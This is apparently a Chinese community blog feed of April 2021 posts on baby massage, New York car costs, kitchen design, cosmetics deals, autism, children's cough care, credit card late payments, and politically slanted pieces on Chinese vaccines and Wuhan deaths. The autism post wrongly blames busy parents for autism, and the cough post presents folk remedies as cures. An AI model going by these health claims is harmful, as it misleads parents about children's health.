通过温柔地触摸宝宝的脸蛋、四肢、身体,可以让宝宝得到更好地放松,也就更容易入睡了。

1.面颊抚触

拇指放在婴儿前额中间(眉毛上方)用指腹轻柔向两侧平推至太阳穴,重复 3 次。

拇指从宝宝下巴处沿着脸的往外推压,至耳朵处。

2.耳朵抚触

双手捏住耳朵,轻轻扯拉揉捏。拇指沿着耳廓画圈。

3.手臂抚触

从上到下顺着经脉轻轻揉捏,手臂做伸展运动。在宝宝的手掌、手背画圈,让他手臂张开。捏住一根手指,从指跟拉至指尖。  腿部和脚掌抚触类似。

捏住一根手指,从指跟拉至指尖。  腿部和脚掌抚触类似

4.腹部抚触

围绕肚脐顺时针画圈抚摸宝宝的腹部。

5.背部抚触

两手交替至上而下的用手掌按摩背部肌肤。两手手掌按在背部,分别从脊椎推至两侧。

6.胸部按摩

双手放在肋骨附近,用手掌交替向肩部推去。

技巧七:让宝宝自己哄自己

宝宝吸乳头、含着安抚奶嘴和自己的手,都是通过吮吸生愉悦、镇静感,也是小月龄宝宝睡前安抚很重要的一环。同样地,让宝宝吸乳头哄睡也要注意度,奶睡的荆棘路千万别走。

当宝宝 6 个月后,可以给一个娃娃、或者一个毛巾陪着宝宝睡觉,起到安抚的作用。另外,妈妈的衣服也可以起到安抚的效果。

给宝宝一个娃娃,自己安抚自己。

如果宝宝实在是睡不着,可以叫他醒来,不要一直哄着而和宝宝「杠上」。过一会儿再尝试哄他睡觉,慢慢地降低活动兴奋度,往安静转,再静待合适时机让宝宝睡觉。睡眠充足的宝宝,精神好、气色好、身体好、性格好,接受事物的能力也很好!

2021-04-10 / by / in , ,
菲律宾总统卫队大批人染疫 传与中国疫苗有关

文|雨荷

在疫情肆虐全球之际,中国新冠病毒(中共病毒)疫苗的研制过程和质量备受质疑,很多中国医务人员对官方层层动员接种态度消极,有专家提出,要打还是领导干部先打。疫苗接种问题于是凸显了官员与民众关系的政治色彩。中共试图通过“疫苗外交”在国际上扩张政治影响力,但中国疫苗却备受世界关注,中国疫苗的防疫效果却备受诟病。

中国疫苗再次出现问题,引起外界担忧。(摄图网)

菲律宾总统安全卫队(PSG)指挥官杜兰特,4/7对媒体披露,PSG累计有126人感染了新冠肺炎(COVID-19),至今仍有45人尚未康复。去年底,曾传出PSG部分成员接种了走私进口的中国疫苗的消息,如今官方证实有上百PSG成员染疫,再次引发外界对中国疫苗有效性太低的疑虑。

巴基斯坦总统艾维(Arif Alvi)于上月中接种了中国国药集团研制的疫苗,4月初他在推特发帖证实自己病毒检验呈阳性。

3月20日,巴基斯坦总理伊姆兰‧汗(Imran Khan)被确认在接受新冠病毒(中共病毒)检测后,呈现阳性反应,在家中自我隔离。就在3月18日,中共官媒报导,伊姆兰‧汗接种了第一剂中共国药集团生产的疫苗。

巴基斯坦3月10日启动普遍接种中共病毒疫苗计划。不过,路透社报导,巴国医护人员对中国制疫苗感到忧心。

柬埔寨《柬中时报》3月19日报导,柬埔寨总理洪森当天为中国制造疫苗站台称“中国疫苗是最安全的。但是,洪森发表上述言论之前,他和妻子已于3月4日接种了英国阿斯利康公司(AZ)的疫苗。

2021-04-10 / by / in , , , , , ,
纽约养车 有3个问题你不能不了解!

文|雨荷

美国是著名的车轮上的国家,纽约是美国人口最多的城市,也是世界最大的城市之一,是对全球的经济、商业、金融、媒体、政治、教育和娱乐具有极大影响力的国际大都会。

据报道,纽约市的一项最新统计显示,养车的费用逐年增加,越来越多的纽约客只好选择不再开车。根据克莱恩商业周刊的这份报告,从2000年至2003年,市民汽车拥有量下降了5%,在有11万华人居住的布碌仑区,有越来越多的开车者不想拥有车子,与美国其他地区相比,纽约的家庭汽车拥有量非常低。仅有45%的家庭拥有汽车。而纽约的曼哈顿作为美国人口密度最大的区,也是美国家庭汽车拥有率最低的区,仅有大约22%的家庭拥有汽车。

纽约是美国人口最多的城市,纽约养车难不难?。

那到底是什么原因 导致纽约人如此不爱买车呢?

一是纽约停车费的问题。与其他地区相比,在纽约拥有一辆汽车的最大障碍是高昂的停车费。如果想在曼哈顿买一套带独立停车位的公寓,那么房费最终价格可能会上涨6万至15万美元。而在大多数有车库的大楼里租一个停车位,租金从100美元到1000美元不等(约为700元-7000元人民币),取决于社区的情况。纽约市停车场管理局的报告显示,纽约市每月的平均停车费约为430美元。除了费用高外,纽约市的停车位严重不足,导致驾驶者在城市里开车找停车位成了一件很痛苦的事情,有钱也没地停的情况极为常见。

在纽约,乱停车的罚款从几十美元到150美元不等。接到罚款单后,司机要在一个星期内将支票寄给纽约市交通部门。司机如果不服气可以向法院提起诉讼,胜诉者可减轻或者免掉处罚。纽约市近年来因为乱停车引发的官司非常多,也有不少司机获得减免。

纽约市街道上随处可见的消火栓旁边是停车的绝对禁区,停车者将会遭受重罚。公共汽车站前当然也不允许其他车辆停靠。此外,纽约市的每条街道都有规划统一的停车标志,标明停车规定,如允许停泊车辆的类型、时间段以及平日和周末可分别停泊什么类型的车辆。牌子上写着,有的地方只允许当地小区居民的车辆停泊,有些地方某些日子不让使用,不仔细看、停错了地方,很可能要被罚款。在一些交通繁忙的商务区,规定就更加细致。

纽约停车费很貴,而且罚款高,不仔细看、停错了地方,很可能要被罚款。

二是保险的问题。纽约汽车保险在很贵。纽约汽车保险费平均为每年1582美元,比美国全国平均水平高出近11%。保险公司会使用地域评级。而在纽约布朗克斯区和布鲁克林区等区域停车,被保险公司判定为比其他地区更容易产生盗窃、交通事故和车损索赔,因此保费也就居高不下。此外,纽约汽车保险费用的计算也和驾驶员的年龄和持有驾照的年份直接“挂钩”,也就是说,越年轻的驾驶员往往面临越贵的保费。

三是纽约交通拥堵的问题。纽约交通拥堵排名世界第三,仅次于洛杉矶和莫斯科。有报告称,在曼哈顿中城,汽车的平均速度是每小时4.7英里,仅仅比走路快一点点。纽约市政府也想过一些手段来控制交通拥堵问题,美国纽约州议会通过的新年度财政预算案中在曼哈顿繁忙路段征收“塞车费”,以改善交通拥堵问题,如果开始征收拥堵费,可以预见的是,这笔费用一旦开始征收,愿意掏钱买车的纽约人会更少。预计纽约“塞车费”在2021年开始,纽约市将成为全美第1个开征收「塞车费」的城市。

纽约市政府计画在在曼哈顿繁忙路段,例如对曼哈顿60街以南(即​​中央公园以南)城区的车辆征收塞车费,但之前川普政府并不愿意批准者项计画,不过现任的拜登政府正在让计画实现当中。

由于养车太难,买车的人越来越少,据纽约多家车行介绍,进入2005年以来,新车的销售量明显不如往年。当然,也有很多在纽约生活的人表示,拥有一辆汽车确实能为生活带来不少便利。 私家车可以使更远的地方购物变得更容易,尤其是在购买大件物品时。更重要的是,可以随时随地离开都市,而不用考虑公共交通时间和换乘问题,这种优势在有小孩子的家庭尤为明显。

2021-04-10 / by / in , , , , , , , ,
厨房装修全攻略 橱柜、灶台、水槽怎么摆?要多大?纽约厨房装修这里找

文|无疆行者

中国人讲 “民以食为天”,厨房装修是室内装修里的重中之重。由于厨房装修过程中涉及到太多的细节,一不小心就忽略了,等后期再想补救的时候就特别麻烦,今后使用起来,会给主妇们无形之中增加下厨的辛苦。今天行者就给大家全面介绍一些厨房装修的要点,希望能对小伙伴们有所帮助喔~ ~

一个使用体验很棒的厨房,它的厨房布局应该是什么样子的呢?

厨房的动线应该符合烹饪习惯,从冰箱取出食物,到水槽处理,操作区切菜、再到燃气灶烹饪。合理的厨房布局就是满足上述4个功能的实现。一般可以把厨房分为:一字型、双排型、“L”型和“U”型四种类型。

一字型适用于狭长型厨房,操作距离较长,冰箱可以放在橱柜对面也可以放置在厨房外面。小户型中见到的比较多,这样做即使厨房面积小,空间狭长,但是也能有充足的活动空间。

一字型厨房布局。

双排型比U型要少一侧的橱柜,灶台和冰箱、水槽分离,做饭的时候许多操作只需要转身即可完成,动线被大大减少。适用于人口比较多的家庭,做饭时2人一起操作比较有效率。

双排型厨房布局。

L型厨房应该是目前家装中最常见到的设计,小户型和刚需户型中的厨房尤为适用,功能分区合理,动线少活动空间大,而且储物空间也比一字型要大许多。

U型厨房布局。

U型是厨房布局最舒适,动线最合理的厨房布局,储物空间也是最大,一般是大户型中常用到的布局。

U型厨房布局。

厨房收纳原则

收纳的原则是:上轻下重中间常用。

油烟机设计

油烟机设计的位置尽量不要距离公共烟道太远,烟管安装也尽量别太多转弯,否则,吸烟效果会大打折扣。

厨房常用到的尺寸设计

灶台尺寸

从人体工程学来说,其实厨房里面每个地方都是有最优的尺寸设计,其中灶台高度一般在70-80cm最合适,操作台80-85cm最优。因为这样的高低设计可以有效缓解腰部压力,让主妇做饭的时候更舒服些。

符合人体工程学的灶台尺寸。

当然你家是定制厨房,可以根据主妇的身高直接定制台面高度,公式是台面高度=(身高/2)+5~10cm

符合人体工程学的灶台尺寸。

橱柜尺寸

厨房里面最大件的家具那就要数橱柜了,要占到3分之1甚至一般的厨房面积。所以橱柜的设计很重要,灶台和上橱柜的距离要在60-70cm之间,这样既能保证火焰不会伤到橱柜,又能保证主妇有充足的视野。

厨房装修的注意事项

1、装修时预留冰箱的位置、宽度、长度,都要提前确定好,最好有富余的空间,有利于冰箱散热。

2、后悔厨房没有装空调,夏天一到做饭的时候,热的要命;如果考虑节省电费,也可以考虑装个电风扇。

3、抽油烟机离灶台很近

很多人认为抽油烟机离灶台越近,抽油烟机的功能越强,这是一个误区,抽油烟机的有效距离一般是0.8米,在此范围内的抽烟效果差不多。

4、台面高度不合理,台面的高度要根据使用厨房的人的身高定制,通常台面的高度为65—90cm。确定最佳高度的方法是:操作者前臂平抬,从手肘下返10—15cm的高度为厨房台面的最佳高度。

5、为了增加橱柜的收纳功能,在定制橱柜的时候,最好能多增加隔板,方便存储。

6、选用优质五金。

7、没有提前装净水器,过后想装无奈太过麻烦。


优质紐約装修公司推荐

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2021-04-08 / by / in , , , ,
Sephora春季折扣4/9开跑 最高8折优惠 爱美的你千万别错过

文|美颜小伙伴

去年的粉底液、防晒乳过期了吗?2021年不要犹豫,现在你有正当的理由再买一波!Sephora一年中最大的折扣季之一,即将在4/9拉开序幕,Sephora会员最高可享8折优惠、Sephora自营产品7折优惠,活动只到4/19,小伙伴们还不赶快手刀冲刺!!!

免费注册Insider会员 即享优惠

Sephora各等级具体折扣、时间。(Sephora官网)

如果你还不是Sephora的会员,不用担心,你可以免费注册Insider等级的会员,但Rouge等级(每年至少消费1,000美元)和VIB等级(每年至少消费350美元),可以比Insider等级更早享受春季折扣。

各等级具体折扣、时间如下:
Rouge会员:8折优惠,4/9-4/19
VIB会员:85折优惠,4/13-4/19
Insider会员:9折优惠,4/15-4/19

现在正是你呼朋引伴的时候了!找出哪个朋友是Rouge等级,要求他们帮点小忙,4/9、4/10,Rouge会员可以带1名VIB会员或Insider会员入店购买,也同样享有8折优惠。

网购族输入折扣码 同样享有优惠

网购族输入优惠码OMGSPRING,同样享有优惠。

担心疫情害怕出门吗?网购族只需要输入优惠码OMGSPRING,同样享有优惠哦!此外,4/9至4/19,大部分Sephora自营产品毋须优惠码,Insider会员即享有7折优惠。

对于美国顾客而言,The Ordinary产品和Nudestix抗菌消毒搓手液没有优惠,而且每笔交易只能购买1件Dyson商品;对于加拿大顾客而言,MAC Viva Glam产品没有优惠,而且每笔交易只能购买5件Morphe产品。

和往常一样,本次促销不能与其它优惠合并使用,也不适用Instacart、Instagram购物、店内服务、之前的购买、购买礼品卡、礼品包装。

你还在等什么呢?赶快看看小编推荐的商品!(以下为未折扣售价。)

护肤产品

Supergoop! 防晒霜SPF 40。(Sephora官网)

Supergoop! Glowscreen Body SPF 40 PA+++(售价:$42)

Supergoop! 防晒霜广受好评,随着防疫限制令放宽,越来越多人出外野餐,当然免不了防晒。这款产品很容易被皮肤吸收,不会有油腻感,不仅能滋润皮肤、提高光泽,同时保护肌肤免受紫外线伤害。

产品适用中性肌、干燥肌和混合肌,要在阳光照射15分钟前均匀涂抹,至少每两个小时或出汗40分钟后,再补擦一次。

产品连结:https://www.sephora.com/product/supergoop-glowscreen-body-spf-40-pa-P470058

FENTY SKIN隐形润肤防晒霜 SPF30。(Sephora官网)

FENTY SKIN Hydra Vizor Invisible Moisturizer Broad Spectrum SPF 30 Sunscreen(售价:$35)

FENTY SKIN隐形润肤防晒霜SPF30是一款无油、无粉刺的可再填充二合一防晒保溼霜,可淡化色斑,配方含有透明质酸、芦荟和卡拉哈里瓜,有效帮助肌肤补水。产品质地轻盈、吸收快速,提亮肌肤的同时也能修饰毛孔。

产品适用中性肌、干燥肌、油性肌和混合肌,在清洁脸部、擦完爽肤水后使用,如果在户外晒太阳,至少每两个小时补擦一次。

产品连结:https://www.sephora.com/product/fenty-skin-hydra-vizor-moisturizer-broad-spectrum-spf-30-sunscreen-P467249

彩妆产品

BECCA无瑕光灿打亮饼共有11种颜色,Champagne pop很适合华人的肤色。(Sephora官网)

BECCA Cosmetics Shimmering Skin Perfector Pressed Highlighter(售价:$38)

受疫情冲击,美国彩妆品牌BECCA日前宣布,将于2021年9月结束营业,人手一颗的BECCA粉饼将走入历史,赶在倒闭前,还没入手的小伙伴们还不赶快囤货!

BECCA无瑕光灿打亮饼共有11种颜色,产品富含超细珍珠粒子,能反射、折射各个角度的光线,让脸颊散发耀眼光泽。

不同于传统粉饼,产品独特的膏状配方混合珍珠粒子和液体成分,让肌肤更加柔滑,不浮粉,也不会晕染。乳状配方触肤即化,色泽能在脸上平均分布,从各个角度折射光线,呈现极自然亮丽光彩。

产品适用中性肌、干燥肌、油性肌和混合肌,建议使用斜角高光刷或蓬松刷涂抹产品,在需要加强光泽感的部位提亮打光,例如眉骨、T字部位、颧骨、鼻樑和下巴处,重复涂抹直到满意为止。

官网连结:https://www.sephora.com/product/shimmering-skin-perfector-pressed-P381176

Hourglass告解蜜语高饱和美形唇膏(Red 0)。(Sephora官网)

Hourglass Confession Ultra Slim High Intensity Refillable Lipstick – Red 0(售价:$40)

Hourglass告解蜜语高饱和美形唇膏(Red 0),适用100%素食主义者,Red 0使用创新的成分,在不影响显色度的情况下,提供鲜豔的红色色调。

产品标榜不含任何动物成分或动物副产品,并替代用昆虫制成的胭脂红色素。目前产品正在申请专利。

这款特别版的唇膏,具有饱和度高、色泽持久、丝缎亮泽的优点,成熟的颜色散发贵气。

官网连结:https://www.sephora.com/product/hourglass-confession-trade-ultra-slim-high-intensity-refillable-lipstick-red-0-P469476

护发产品

Dyson Airwrap卷发棒限量版全配礼盒组。(Sephora官网)

Dyson Airwrap Styler Limited Edition Gift Set(售价:$549)

小伙伴们一定对戴森(Dyson)吹风机都不陌生,但戴森Airwrap卷发棒也一直是热搜商品之一哦!

使用戴森Airwrap卷发棒,不用担心手臂或手腕会不小心烫伤。

长型发卷适用较长的头发,创造丰盈的卷发或微卷,运用康达(Coanda)效应来卷曲头发,柔和地吸引、包复头发,不用高温也可塑造理想发型。

软质顺发梳适用短发造型及吹整浏海,齿梳的末端设有柔软小圆球,温和不伤头皮,塑造顺滑或丰盈效果。

限量版全配礼盒组的套件包括30 mm和40 mm长型发卷、硬质顺发梳、软质顺发梳、圆形丰发梳、造型前吹发器,以及鞣皮收纳盒和专用旅行包。

官网连结:https://www.sephora.com/product/dyson-airwrap-styler-limited-edition-gift-set-P470524

2021-04-07 / 1 Comment / by / in ,
小编推荐:小蜜蜂腮红 刷出零负担的好气色

文|美颜小伙伴

小蜜蜂(Burt’s bees)腮红在美国药妆店、卖场都能轻易找到,像是CVS、Walmart、Target,适用于所有肤色。能让肌肤呈现健康的红润与透亮感,妆感自然,显色不厚重。想使用天然腮红的小伙伴们,选择Burt’s bees就对了!

小蜜蜂Burt’s bees100%天然矿物腮红,共有5种色号。(图来自Burt’s bees官网)

官网售价:$9.99
小编推荐指数:★★★★★(最高5颗星)

这款100%天然矿物腮红,共有5种色号:1205(裸桃色)、1210(粉红色)、1215(肉桂色)、1209(杏色)、1213(酒红色)。

1209 – Fresh Apricot。(图来自Burt’s bees官网)

1213 – Velvet Wine。(图来自Burt’s bees官网)

产品经皮肤科医生测试

配方不含滑石粉、对羟基苯甲酸酯、邻苯二甲酸盐、月桂基硫酸钠(SLS)、石油脂和合成香料。产品经皮肤科医生测试,且未使用动物实验。

Burt’s bees腮红含有非常好的植物提取成分,包括角鲨烷、荷荷巴油、蜂蜜、竹茎提取物和维生素E等,可轻松均匀涂抹、混合,化妆的同时也能兼具保养效果,从内而外滋润肌肤,加强自然光泽。

刷出好气色、立体感

Burt’s bees腮红适用所有肤色,打造自然妆感,质地细致不粗糙。

1215(肉桂色)轻刷在发际线、咀嚼肌、颧骨两侧、鼻梁阴影处和下巴,让脸部轮廓更加立体。

1215 – Toasted Cinnamon。(图来自Burt’s bees官网)

1210(粉红色)轻刷在脸颊,柔和的色彩,给你少女苹果肌,散发白里透红好气色,就像是盛开的粉红花儿。

1210 – Shy Pink。(图来自Burt’s bees官网)

用1205(裸桃色)在颧骨下轻轻画圆晕染,制造脸颊红晕的同时,又能自然修容,让双颊更有立体感。

1205 – Bare Peach。(图来自Burt’s bees官网)

蜂窝状的外观加上透明盖,很有Burt’s bees的特色,不用打开就知道是哪一个色号,使用方法也非常简单哦!用腮红刷轻刷在脸部即可。因为这款腮红是纯天然成分,回家后直接用Burt’s bees洗面乳或洁面巾,就可以轻松卸妆啦。

这款高人气商品在官网评价有4.6颗星哦!有兴趣的小伙伴们可安心购买,不会踩雷!

官网链接:https://www.burtsbees.com/product/blush-makeup/VM-792850901070.html

2021-04-07 / by / in ,
不容忽视 每68名孩子约有1名患自闭症

文|雨荷

自闭症大家都不算陌生,随着社会不断进步,生活节奏加快,父母们也越来越忙 ,很少有时间陪在孩子身边,这个时候孩子就容易出现一些轻微的自闭症(孤独症)表现。是一种较为严重的发育障碍性疾病。多发生在婴幼儿时期,以社交障碍、交流障碍、局限的兴趣、刻板与重复的行为方式等为主要症状,患儿多数还会伴有不同程度的智力发育迟滞。

自閉症兒童,男孩多於女孩。

据估计在美国, 每68名儿童中就有1名患有自闭症,尽管自闭症的男孩多于女孩,但这种情况在所有种族和社会经济群体中都存在。

体征和症状

患有自闭症的人经常在社交、情感和沟通技巧方面存在问题。他们可能会重复某些行为,并且可能不想改变他们的日常活动。许多患有自闭症的人也有不同的学习方式,注意力或对事物的反应。自闭症的征兆始于儿童早期,通常持续到一个人的一生。

儿童患有自闭症的症状:

• 特别喜欢能够旋转的东西。
• 当别人指向他们时,不看物体。
• 遇到与他人有关的麻烦或根本不对他人感兴趣。
• 避免目光接触,想一个人待。
• 难以理解别人的感受或谈论自己的感受。
• 不想被拥抱或拥抱,或者只在他们想拥抱时才拥抱。
• 会特别的依赖某一件东西。
• 对于一切危险都不会感到惧怕。
• 会反复的学着别人说话。
• 孩子对于声音没有任何反应。
• 不会与人进行目光的对视。
• 一遍又一遍地重复动作。
• 自身对于疼痛并不敏感。
• 莫名其妙的就会独自笑起来
• 会突然不明所以的哭闹。

诊断自闭症

自閉症患者有其它並發症狀,需要父母更多的關愛。

诊断自闭症可能很困难,因为没有像血液检查这样的医学检查可以诊断疾病。医生会根据孩子的行为和发育情况做出诊断。有时可以在18个月或更年轻的时间内检测到自闭症。到2岁时,由经验丰富的专业人员进行的诊断,可以认为是非常可靠的。但是,许多孩子要等到大一点以后,才能进行最终诊断。这种延迟,意味着患有自闭症的儿童可能无法获得早期帮助。

目前尚无治愈自闭症的方法。但是,研究表明,早期干预治疗服务可以改善儿童的发育。早期干预服务可帮助从出生到3岁的儿童学习重要技能。服务可以包括治疗,以帮助孩子说话,走路和与他人互动。家庭参与,包括父母的培训。与同龄人典型的神经互动。

自闭症并发症

如果患有自闭症,可能会遇到感觉问题、癫痫发作、精神健康障碍或其它并发症。
感官问题
如果患有自闭症的人,可能会对感觉输入非常敏感。大声的声音或明亮的灯光可能会导致他严重的情绪不适。另外,他可能根本不对某些感觉做出反应,例如过高的温度、寒冷或疼痛。
癫痫发作
癫痫发作在自闭症患者中很常见。他们通常始于童年或十几岁時。
精神健康问题
患有自闭症会使您处于抑郁、焦虑、冲动行为和情绪波动的风险中。
精神障碍
许多患有自闭症的人都有一定程度的精神障碍。患有脆性X综合征的儿童更容易患自闭症。该综合征是由X染色体的一部分缺陷引起的。这是精神障碍的常见原因,尤其是在男孩中。
肿瘤
结节性硬化症是一种罕见的疾病,可导致良性肿瘤在您的器官(包括大脑)中生长。结节性硬化症与ASD之间的联系尚不清楚。但是,结节性硬化症儿童的自闭症发生率要比无此疾病的儿童高得多。
其他并发症
自闭症可能伴随的其他问题,包括攻击性、不寻常的睡眠习惯、不寻常的饮食习惯和消化问题。

表達不喜與外接接觸的自閉症患者的雕塑像。

因此,如果您认为您的孩子患有自闭症或其它发育问题,请尽快与您的孩子的医生交谈。即使您的孩子尚未被诊断出患有自闭症,他也可能有资格获得早期干预治疗服务。在残疾人教育法案(IDEA)對3岁以下(36个月),有发育迟缓风险的儿童可能有资格获得服务。这些服务是通过您所在州的早期干预系统提供的。通过该系统,您可以要求进行评估。

2021-04-07 / by / in
孩子天天咳嗽 除了治疗 这些妙招不可缺

|雨荷

随着天气变化,冷热交替,由于孩子身体发育尚未完全,抵抗力弱,孩子容易感冒咳嗽,咳嗽是感冒常伴随出现的症状之一。从医学上讲,咳嗽是一种防御性反射运动,可以防止异物吸入,可以将痰液吐出。孩子偶尔咳嗽还是有利于身体健康。

咳嗽老不好,久治不愈,家长就要有警觉

通常,孩子感冒持续7-10天,咳嗽往往是最迟消失的症状,甚至持续好几周,只要孩子咳嗽的次数逐渐减少了,精神好,胃口佳,正常活动玩耍,家长们就别担心。

如果孩子咳嗽老不好,反反复复咳嗽,久治不愈,家长就要有警觉,可能是慢性咳嗽,其中最常见的原因就是气管过敏与哮喘;少数可能是特殊的传染病包括:百日咳、肺结核、霉浆菌等都可能导致慢性咳嗽;此外胃食道逆流也会引起慢性咳嗽。家长必须带孩子去医院了解病因找出治疗方法,对症下药。

家长必须带孩子去医院了解病因找出治疗方法,对症下药(图片来源pixabay)

孩子咳的难受,家长可以做点什麼?

拍背:孩子咳嗽难受,家长可以帮孩子拍背,利于痰液吐出,令孩子舒服些。家长们也可以做些利于止咳、清淡易消化的食物给孩子吃,补充孩子所需的能量。当宝宝剧烈咳嗽时,最好将其抱起,使他的上身呈45度角,同时用手轻轻拍宝宝的背部,使粘附在气管上的分泌物得以稀释,利于咳出。

保持空气温度、湿度和洁净度十分重要:室温最好保持20-26℃左右,定时通风,保持室内湿度50%-70%,利于痰液稀释而咳出,空气太干燥,痰液粘在气管壁上不易排出。

梨汁炖冬菇:梨能润肺凉心、消痰降火,冬菇内的双链糖核酸在人体内产生的干扰素能消灭体内的病毒。用“梨汁炖冬菇”的食疗法防治秋冬的燥咳,消除感染,一般服用两三天即见收效。将4个鸭梨去皮切片榨成汁,把冬菇200克洗净切片,加适量水和冰糖同炖,等冬菇炖熟后,早晚分两次连汤同食即可。

白萝卜煮水:如果孩子一连数日咳嗽不止,晚上难以入睡,可买几根白萝卜,每晚把半截萝卜切成片,用清水煮,萝卜熟后用茶杯或小碗将水滤出,待稍冷后喝下。咳嗽便可减少。连续喝几天,咳嗽就可痊愈。

可买几根白萝卜,每晚把半截萝卜切成片(图片来源pixabay)

咳嗽忌食3类食物

正确饮食能够在治疗病情上助上一臂之力,反之则是加重病情。孩子天天咳嗽,这3大类食物也是不能吃的!

1.鱼虾海鲜

很多宝妈看孩子生病,就会给孩子做一些高蛋白又营养清淡的海鲜粥,但这是错误的,鱼虾蟹等海鲜都属于高蛋白食物,孩子本身已经咳嗽,这只会让孩子不易消化,导致积食,另外海鲜属寒性,自身无法排出体外,寒气就会转化成湿热影响肺部,加重孩子咳嗽。

2.油炸食品

炸薯条、炸鸡排、炸鸡翅这些油炸食物深受孩子的喜爱,可是这些脂肪类食物不仅又油又腻,还会加重脾虚、肺热的症状,导致咳嗽更难治愈,另外还会导致孩子上火,简直是火上浇油。

炸薯条、炸鸡排、炸鸡翅这些油炸食物深受孩子的喜爱(图片来源pixabay)

3.糖果甜点

咳嗽时绝对不能吃糖,糖果甜腻、助湿生痰,只会更发加重咳嗽,所以宝妈一定要严格控制;甜品无疑是孩子的最爱,但是大部分甜品都是用植物奶油做的,含油量和糖分都很高,另外其中含有大量的反之脂肪酸,会对孩子的肠胃造成更大的负担,而甜食也说了只会让咳嗽越来越糟。

生病期间的忌食是很重要,而孩子往往抵抗诱惑的能力较差,这时就需要宝妈严格监督了!

此外,家中不要有人抽烟、点香、点蚊香或精油等燃烧物,并且尽早开始打造少尘螨、少霉菌、少空污的居家环境,都能帮忙预防过敏体质的产生。为了孩子的呼吸道健康,家长还是提早做准备,不要存侥幸的心理。预防胜于治疗,健康是父母能给孩子最好的礼物。

2021-04-07 / by / in
美国社会重视信用,一不小心,忘记及时归还信用卡款借款怎么办?

文|小庆

在纽约,人们每日生活节奏很快,偶尔忘还信用卡很正常。 但延迟付款(late payment)不仅会产生罚金,还会影响信用卡利率和信用记录,使未来的借贷,比如,申请信用卡或车贷、房贷等都会受到影响。

那么,逾期还款(late payment)对信用卡用户有哪些影响,如何补救,如何避免呢?

首先了解一下什么是late payment(逾期还款)

如果没有欠款,一般信用卡每月均需还款一次。在还款截止日(payment due date)及之前,至少还当月账单的最低还款金额(minimum payment),即算当月按时还款。

1、Payment due date(还款截止日)是随机产生的日期,且每月不变(比如:每月15日或25日)。为方便还款,用户可联系银行修改这个日期。比如有的消费者每月底发工资,那么可设置还款日在月初。

2、Minimum payment(最低还款金额)视银行而定,比如美国银行规定:逾期金额加上$ 35或新余额的1%,以较高者为准,再加上任何利息费用和滞纳金。这一金额无法改变。

3、仅支付信用卡最低付款额会使用户付出更多

如果每个月只支付最低付款额,因为很多卡都带有很高的利率。那么还清信用卡余额的时间会更长。仅支付最低限度的费用也将支付更多的利息并延长债务期限。

Late payment(逾期还款)的影响

1、对信用记录/分数的影响

Late payment一旦上报信用局,会严重影响信用记录,并在信用记录上保留7年之久。会使持卡人信用分数下降,具体下降程度与用户的总体信用记录有关:

如果信用记录长久而且良好,那么一次late payment不会产生很大的伤害;

3、如果信用记录时间短(常见于年轻人或刚踏足美国的人)或本来就有不良记录,那么任何late payment都会让信用分数大跌。

4、Late payment上报信用局后,如继续拖延不还,会让late payment的时间变更久,进一步影响信用记录,直到还清。

信用记录差,信用分数低,会导致难以获得贷款或者获批信用卡,借贷(比如车贷、房贷)时面临比其他人更高的利率,有些雇主还会因此拒绝求职者,有百害而无一利。

5、罚金

不论有没有上报信用局,late payment都会产生罚金,即late payment fee(滞纳金),目前美国主要银行的这一费用在$40左右。有些信用卡会主动免除首次甚至多次late payment fee,但这并不代表late payment不会被上报到信用局。此时尽管不会产生罚金,信用记录却会越来越差。6、银行收回返现或其他奖励

美国信用卡普遍有较好的开卡奖励和消费返现,然而若逾期还款,银行很有可能延迟发放这些奖励,甚至收回已发放的奖励。

7、对APR的影响

在出现late payment后,信用卡的利率会大幅上涨,称为penalty APR(罚款年利率)。即有惩罚性的高利率。比较常见的penalty APR为29.99%。更高的APR(实际年利率),对于无法全额还款的消费者来说意味着更多的利息,经济上的损失也远大于late payment的罚金($40左右)。8、对0% APR(实际年利率为0%)的影响很多信用卡在开卡后很长一段时间(可达20多个月)内没有利息,即0% APR 信用卡。然而这些0% APR的使用一般都要求用户在此期间按时还款,至少还个minimum payment(最低支付),这样一来剩余的消费欠款也就不会产生利息。

若中间某个月出现了late payment,多数银行会停止0% APR,开始收取标准利息。这对于在原本0% APR的信用卡保有不少金额,对有日后慢慢还款想法的用户来说是个坏消息。

发生Late payment了怎么办?

由于种种原因,出现了late payment后如何补救呢?

1、立刻还款

一旦发现还款晚了,第一件需要做的事就是还款,尽可能缩短late payment的时间。最快的还款方式是online(在线的)还款,有条件的也可去银行网点还款。最好是全额还款,避免利息,还能减少信用记录上的欠款金额。至少还minimum payment即可。

 

2、联系银行

在还款post到账后,建议联系银行说明原因,礼貌地询问是否能够将本次late payment不上报信用局。若原先还款记录良好,对于偶发的逾期不超30天的情况,银行一般都会同意这一请求。

对于late payment fee(滞纳金),有些银行也会大度地予以减免。不过这一点看银行,也看具体情况。如何避免late payment(逾期付款)?

为信用卡设置auto-pay即自动还款就能避免late payment。以Chase银行为例,用户可在Card Details中看到Auto-Payments的选项:

然后把Payment amount设置为Minimum Payment Due,再确认即可:

在auto-pay日期上,Chase不提供选择,默认在payment due date当天或前一个周五自动还款;而其他银行比如Amex则允许用户选择statement closing date后的某个日子自动还款,最多为closing 25天后:

Auto-payment基本能避免late payment。如设置全额自动还款,就不用担心还款的问题了。但如果账户余额不足,会使自动还款失败导致late payment,因此建议即使设置了auto-payment,每月也要查看一下信用卡账户情况。另外注意一点,在设置auto-payment的时候一定要注意银行的要求,比如有的银行会提示auto-payment要在下一个Statement的时候才会生效,设置完auto-payment之后的第一个Statement仍然需要手动还款。

 

结语

信用卡给现代人的生活带来了很多方便,但是由于人们生活繁忙,很可能会发生late payment。这样不仅产生罚金,还会影响信用卡利率和信用记录。一旦发生late payment后,要立刻还款并联系银行,这样能最大的减少损失;要避免late payment,要设置信用卡的自动还款功能。

为了避免利息、减少信用记录上的总欠款金额,尽量每月全额还款。祝大家用卡安全愉快!

2021-04-06 / by / in , , , , , , ,
武汉到底死多少人?清明祭扫数十万人挤爆陵园 菊花卖断货

文|无疆行者

中共病毒(武汉肺炎,COVID-19)疫情全球延烧一年多,疫情爆发地武汉到底有多少人染疫去世,至今仍然是个谜。清明节前夕,死难者的家属亲友数十万人进入陵园祭扫,墓园被人潮挤爆,道路堵塞,祭奠用的菊花卖到断货。

清明祭扫数十万人挤爆武汉墓园

近日,据大陆媒体《潇湘晨报》报道,清明节前夕,武汉32万人挤满陵园,武汉民众为了买菊花,一大早就出来排队,全城的花都卖光了,不过此文随后遭到删除,中国女作家颜小乙引述相关报导遭到举报,其公共号文章被禁止分享。

